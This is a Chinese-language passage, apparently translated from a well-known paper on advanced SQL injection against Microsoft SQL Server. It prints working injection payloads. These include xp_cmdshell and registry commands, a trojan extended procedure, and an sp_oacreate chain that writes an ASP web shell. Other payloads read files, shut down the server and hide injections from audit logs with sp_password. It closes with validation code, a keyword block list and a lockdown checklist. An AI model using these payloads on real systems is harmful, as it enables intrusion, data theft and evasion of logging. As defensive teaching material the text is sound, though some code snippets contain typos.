[xp_cmdshell]
許多存儲過程被創建在SQLSERVER中,執行各種各樣的功能,例如發送電子郵件和與注冊表交互。
Xp_cmdshell是一個允許執行任意的命令行命令的內置的存儲過程。例如:
Exec master..xp_cmdshell ’dir’
將獲得SQLSERVER進程的當前工作目錄中的目錄列表。
Exec master..xp_cmdshell ’net user’
將提供服務器上所有用戶的列表。當SQLSERVER正常以系統帳戶或域帳戶運行時,攻擊者可以做出更嚴重的危害。
[xp_regread]
另一個有用的內置存儲過程是xp_regXXXX類的函數集合。
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
這些函數的使用方法舉例如下:
exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ’nullsessionshares’
這將確定什么樣的會話連接在服務器上是可以使用的
exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
這將顯示服務器上所有SNMP團體配置。在SNMP團體很少被更改和在許多主機間共享的情況下,有了這些信息,攻擊者或許會重新配置同一網絡中的網絡設備。
這很容易想象到一個攻擊者可以利用這些函數讀取SAM,修改系統服務的配置,使它下次機器重啟時啟動,或在下次任何用戶登陸時執行一條任意的命令。
[其他存儲過程]
xp_servicecontrol過程允許用戶啟動,停止,暫停和繼續服務:
exec master..xp_servicecontrol ’start’,’schedule’
exec master..xp_servicecontrol ’start’,’server’
下表中列出了少量的其他有用的存儲過程:
Xp_availablemedia 顯示機器上有用的驅動器
Xp_dirtree 允許獲得一個目錄樹
Xp_enumdsn 列舉服務器上的ODBC數據源
Xp_loginconfig Reveals information about the security mode of the server
Xp_makecab 允許用戶在服務器上創建一個壓縮文件
Xp_ntsec_enumdomains 列舉服務器可以進入的域
Xp_terminate_process 提供進程的進程ID,終止此進程
[Linked Servers]
SQL SERVER提供了一種允許服務器連接的機制,也就是說允許一臺數據庫服務器上的查詢能夠操作另一臺服務器上的數據。這個鏈接存放在master.sysservers表中。如果一個連接的服務器已經被設置成使用’sp_addlinkedsrvlogin’過程,當前可信的連接不用登陸就可以訪問到服務器。’openquery’函數允許查詢脫離服務器也可以執行。
[Custom extended stored procedures]
擴展存儲過程應用程序接口是相當簡單的,創建一個攜帶惡意代碼的擴展存儲過程動態連接庫是一個相當簡單的任務。使用命令行有幾個方法可以上傳動態連接庫到SQL服務器上,還有其它包括了多種自動通訊的通訊機制,比如HTTP下載和FTP腳本。
一旦動態連接庫文件在機器上運行即SQL服務器能夠被訪問——這不需要它自己是SQL服務器——攻擊者就能夠使用下面的命令添加擴展存儲過程(這種情況下,我們的惡意存儲過程就是一個能輸出服務器的系統文件的小的木馬):
Sp_addextendedproc ’xp_webserver’,’c:\temp\xp_foo.dll’
在正常的方式下,這個擴展存儲過程可以被運行:
exec xp_webserver
一旦這個程序被運行,可以使用下面的方法將它除去:
xp_dropextendedproc ’xp_webserver’
[將文本文件導入表]
使用’bulk insert’語法可以將一個文本文件插入到一個臨時表中。簡單地創建這個表:
create table foo( line varchar(8000) )
然后執行bulk insert操作把文件中的數據插入到表中,如:
bulk insert foo from ’c:\inetpub\wwwroot\process_login.asp’
可以使用上述的錯誤消息技術,或者使用’union’選擇,使文本文件中的數據與應用程序正常返回的數據結合,將數據取回。這個用來獲取存放在數據庫服務器上的腳本源代碼或者ASP腳本代碼是非常有用的。
[使用bcp建立文本文件]
使用’bulk insert’的相對技術可以很容易建立任意的文本文件。不幸的是這需要命令行工具。’bcp’,即’bulk copy program’
既然 bcp可以從SQL服務進程外訪問數據庫,它需要登陸。這代表獲得權限不是很困難,既然攻擊者能建立,或者利用整體安全機制(如果服務器配置成可以使用它)。
命令行格式如下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar
’S’參數為執行查詢的服務器,’U’參數為用戶名,’P’參數為密碼,這里為’foobar’
[ActiveX automation scripts in SQL SERVER]
SQL SERVER中提供了幾個內置的允許創建ActiveX自動執行腳本的存儲過程。這些腳本和運行在windows腳本解釋器下的腳本,或者ASP腳本程序一樣——他們使用VBScript或javascript書寫,他們創建自動執行對象并和它們交互。一個自動執行腳本使用這種方法書寫可以在Transact-SQL中做任何在ASP腳本中,或者WSH腳本中可以做的任何事情。為了闡明這鞋,這里提供了幾個例子:
(1)這個例子使用’wscript.shell’對象建立了一個記事本的實例:
wscript.shell example
declare @o int
exec sp_oacreate ’wscript.shell’,@o out
exec sp_oamethod @o,’run’,NULL,’notepad.exe’
我們可以通過指定在用戶名后面來執行它:
Username:’; declare @o int exec sp_oacreate ’wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’—
(2)這個例子使用’scripting.filesystemobject’對象讀一個已知的文本文件:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’c:\boot.ini’, 1
exec @ret=sp_oamethod @f,’readline’,@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,’readline’,@line out
end
(3)這個例子創建了一個能執行通過提交到的任何命令:
-- scripting.filesystemobject example – create a ’run this’.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate ’scripting.filesystemobject’,@o out
exec sp_oamethod @o,’createtextfile’,@f out,’c:\inetpub\wwwroot\foo.asp’,1
exec @ret=sp_oamethod @f,’writeline’,NULL,’<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>’
需要指出的是如果運行的環境是WIN NT4+IIS4平臺上,那么通過這個程序運行的命令是以系統權限運行的。在IIS5中,它以一個比較低的權限IWAM_XXXaclearcase/" target="_blank" >ccount運行。
(4)這些例子闡述了這個技術的適用性;它可以使用’speech.voicetext’對象引起SQL SERVER發聲:
declare @o int,@ret int
exec sp_oacreate ’speech.voicetext’,@o out
exec sp_oamethod @o,’register’,NULL,’foo’,’bar’
exec sp_oasetproperty @o,’speed’,150
exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to,us’,528
waitfor delay ’00:00:05’
我們可以在我們假定的例子中,通過指定在用戶名后面來執行它(注意這個例子不僅僅是注入一個腳本,同時以admin權限登陸到應用程序):
Username:admin’;declare @o int,@ret int exec sp_oacreate ’speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to us’,528 waitfor delay ’00:00:05’--
[存儲過程]
傳說如果一個ASP應用程序在數據庫中使用了存儲過程,那么SQL注入是不可能的。這句話只對了一半,這要看ASP腳本中調用這個存儲過程的方式。
本質上,如果一個有參數的查詢被執行 ,并且用戶提供的參數通過安全檢查才放入到查詢中,那么SQL注入明顯是不可能發生的。但是如果攻擊者努力影響所執行查詢語句的非數據部分,這樣他們就可能能夠控制數據庫。
比較好的常規的標準是:
?如果一個ASP腳本能夠產生一個被提交的SQL查詢字符串,即使它使用了存儲過程也是能夠引起SQL注入的弱點。
?如果一個ASP腳本使用一個過程對象限制參數的往存儲過程中分配(例如ADO的用于參數收集的command對象),那么通過這個對象的執行,它一般是安全的。
明顯地,既然新的攻擊技術始終地被發現,好的慣例仍然是驗證用戶所有的輸入。
為了闡明存儲過程的查詢注入,執行以下語句:
sp_who ’1’ select * from sysobjects
or
sp_who ’1’;select * from sysobjects
任何一種方法,在存儲過程后,追加的查詢依然會執行。
[高級SQL注入]
通常情況下,一個web應用程序將會過濾單引號(或其他符號),或者限定用戶提交的數據的長度。
在這部分,我們討論一些能幫助攻擊者饒過那些明顯防范SQL注入,躲避被記錄的技術。
[沒有單引號的字符串]
有時候開發人員會通過過濾所有的單引號來保護應用程序,他們可能使用VBScript中的replace函數或類似:
function escape(input)
input=replace(input,"’","’’")
escape=input
end function
無可否認地這防止了我們所有例子的攻擊,再除去’;’符號也可以幫很多忙。但是在一個大型的應用程序中,好象個別值期望用戶輸入的是數字。這些值沒有被限定,因此為攻擊者提供了一個SQL注入的弱點。
如果攻擊者想不使用單引號產生一個字符串值,他可以使用char函數,例如:
insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff)
這就是一個能夠往表中插入字符串的不包含單引號的查詢。
淡然,如果攻擊者不介意使用一個數字用戶名和密碼,下面的語句也同樣會起作用:
insert into users values(667,
123,
123,
oxffff)
SQL SERVER自動地將整型轉化為varchar型的值。
[Second-Order SQL Injection]
即使應用程序總是過濾單引號,攻擊者依然能夠注入SQL同樣通過應用程序使數據庫中的數據重復使用。
例如,攻擊者可能利用下面的信息在應用程序中注冊:
Username:admin’—
Password:password
應用程序正確過濾了單引號,返回了一個類似這樣的insert語句:
insert into users values(123,’admin’’—’,’password’,0xffff)
我們假設應用程序允許用戶修改自己的密碼。這個ASP腳本程序首先保證用戶設置新密碼前擁有正確的舊密碼。代碼如下:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = ’" + username + "’ and password = ’" + oldpassword + "’";
rso.open( sql, cn );
if (rso.EOF)
{
…
設置新密碼的代碼如下:
sql = "update users set password = ’" + newpassword + "’ where username = ’" + rso("username") + "’"
rso("username")為登陸查詢中返回的用戶名
當username為admin’—時,查詢語句為:
update users set password = ’password’ where username=’admin’—’
這樣攻擊者可以通過注冊一個admin’—的用戶來根據自己的想法來設置admin的密碼。
這是一個非常嚴重的問題,目前在大型的應用程序中試圖去過濾數據。最好的解決方法是拒絕非法輸入,這勝于簡單地努力去修改它。這有時會導致一個問題,非法的字符在那里是必要的,例如在用戶名中包含’符號,例如
O’Brien
從一個安全的觀點來看,最好的解答是但引號不允許存在是一個簡單的事實。如果這是無法接受的話,他們仍然要被過濾;在這種情況下,保證所有進入SQL查詢的數據都是正確的是最好的方法。
如果攻擊者不使用任何應用程序莫名其妙地往系統中插入數據,這種方式的攻擊也是可能的。應用程序可能有email接口,或者可能在數據庫中可以存儲錯誤日志,這樣攻擊者可以努力控制它。驗證所有數據,包括數據庫中已經存在的數據始終是個好的方法。確認函數將被簡單地調用,例如:
if(not isValid("email",request.querystring("email"))) then
response.end
或者類似的方法。
[長度限制]
為了給攻擊者更多的困難,有時輸入數據的長度是被限制的。當這個阻礙了攻擊時,一個小的SQL可以造成很嚴重的危害。例如:
Username:’;shutdown—
這樣只用12個輸入字符就將停止SQL SERVER實例。另一個例子是:
drop table <tablename>
如果限定長度是在過濾字符串后應用將會引發另一個問題。假設用戶名被限定16個字符,密碼也被限定16個字符,那么下面的用戶名和密碼結合將會執行上面提到的shutdown命令:
Username:aaaaaaaaaaaaaaa’
Password:’; shutdown—
原因是應用程序嘗試去過濾用戶名最后的單引號,但是字符串被切斷成16個字符,刪除了過濾后的一個單引號。這樣的結果就是如果密碼字段以單引號開始,它可以包含一些SQL語句。既然這樣查詢看上去是:
select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’;shutdown—
實際上,查詢中的用戶名已經變為:
aaaaaaaaaaaaaaa’ and password=’
因此最后的SQL語句會被執行。
[審計]
SQL SERVER包含了豐富的允許記錄數據庫中的各種事件的審計接口,它包含在sp_traceXXX類的函數中。特別有意思的是能夠記錄所有SQL語句,然后在服務器上執行的T-SQL的事件。如果這種審計是被激活的,我們討論的所有注入的SQL查詢都將被記錄在數據庫中,一個熟練的數據庫管理員將能夠知道發生了什么事。不幸地,如果攻擊者追加以下字符串:
Sp_password
到一個Transact-SQL語句中,這個審計機制記錄日志如下:
--’sp_password’ was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
這種行為發生在所有的T-SQL日記記錄中,即使’sp_password’發生在一個注釋中。這個過程打算通過sp_password隱藏用戶的密碼,但這對于一個攻擊者來說是非常有用的方法。
因此,為了隱藏所有注入,攻擊者需要簡單地在’—’注釋字符后追加sp_password,例如:
Username:admin’—sp_password
事實上一些被執行的SQL將被記錄,但是查詢本身將順利地從日志中消失。
[防范]
這部分討論針對記述的攻擊的一些防范。我們將討論輸入確認和提供一些簡單的代碼,然后我們將從事SQL SERVER鎖定。
[輸入驗證]
輸入驗證是一個復雜的題目。比較有代表性的是,自從過于嚴密地確認傾向于引起部分應用程序的暫停,輸入確認問題很難被解決,在項目開發中投入很少的注意力在輸入確認上。輸入確認不是傾向于將它加入到應用程序的功能當中,因此它一般會被忽視。
下面是一個含有簡單代碼的討論輸入確認的大綱。這個簡單的代碼不能直接用于應用程序中,但是它十分清晰地闡明了不同的策略。
不同的數據確認方法可以按以下分類:
1) 努力修改數據使它成為正確的
2) 拒絕被認為是錯誤的輸入
3) 只接收被認為是正確的輸入
第一種情況有一些概念上的問題;首先,開發人員沒必要知道那些是錯誤數據,因為新的錯誤數據的形式始終被發現。其次,修改數據會引起上面描述過的數據的長度問題。最后,二次使用的問題包括系統中已經存在數據的重新使用。
第二種情況也存在第一種情況中的問題;已知的錯誤輸入隨著攻擊技術的發展變化。
第三種情況可能是三種中最好的,但是很難實現。
從安全角度看合并第二種方法和第三種方法可能是最好的方法——只允許正確的輸入,然后搜索輸入中已知的錯誤數據。
帶有連接符號的姓名的問題對于體現合并兩種方法的必要性是一個好的例子:
Quentin Bassington-Bassington
我們必須在正確輸入中允許連接符號,但是我們也意識到字符序列’—’對SQL SERVER很重要。
當合并修改數據和字符序列確認時,會出現另一個問題。例如,如果我們應用一個錯誤過濾在除去單引號之后去探測’—’,’select’和’union’,攻擊者可以輸入:
uni’on sel’ect @@version-’-
既然單引號被除去,攻擊者可以簡單地散布單引號在自己的錯誤的字符串中躲避被發現。
這有一些確認代碼的例子:
方法一——過濾單引號
function escape(input)
input=replace(input,"’","’’")
escape=input
end function
方法二——拒絕已知的錯誤輸入
function validate_string(input)
known_bad=array("select","insert","update","delete","drop","—","’")
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_string=false
exit function
end if
next
end function
方法三——只允許正確的輸入
function validatepassword(input)
good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function
[SQL SERVER鎖定]
在這指出的重要一點是鎖定SQL SERVER是必要的;外面的是不安全的。這是一個但創建SQL SERVER時需要做的事情的簡短的列表:
1.確定連接服務器的方法
a.確定你所使用的網絡庫是可用的,那么使用"Network Utility"
2.確定哪些帳戶是存在的
a.為應用程序的使用創建一個低權限的帳戶
b.刪除不必要的帳戶
c.確定所有帳戶有強壯的密碼;執行密碼審計
3.確定哪些對象存在
a.許多擴展存儲過程能被安全地移除。如果這樣做了,應該移除包含在擴展存儲過程代碼中的’.dll’文件
b.移除所有示例數據庫——例如’northwind’和’pubs’數據庫
4.確定哪寫帳戶能過使用哪些對象
a.應用程序進入數據庫所使用的帳戶應該有保證能夠使用它需要的對象的最小權限
5.確定服務器的補丁
a.針對SQL SERVER有一些緩沖區溢出和格式化字符串攻擊,也有一些其他的安全補丁發布。應該存在很多。
6.確定什么應該被日志記錄,什么應該在日志中結束。
[參考文獻]
[1] Web Application Disassembly with ODBC Error Messages, David Litchfield http://www.nextgenss.com/papers/webappdis.doc
[2] SQL Server Security Checklist http://www.sqlsecurity.com/checklist.asp
[3] SQL Server 2000 Extended Stored Procedure Vulnerability http://www.atstake.com/research/adv...0/a120100-2.txt
[4] Microsoft SQL Server Extended Stored Procedure Vulnerability http://www.atstake.com/research/adv...0/a120100-1.txt
[5] Multiple Buffer Format String Vulnerabilities In SQL Server http://www.microsoft.com/technet/se...in/MS01-060.asphttp://www.atstake.com/research/adv...1/a122001-1.txt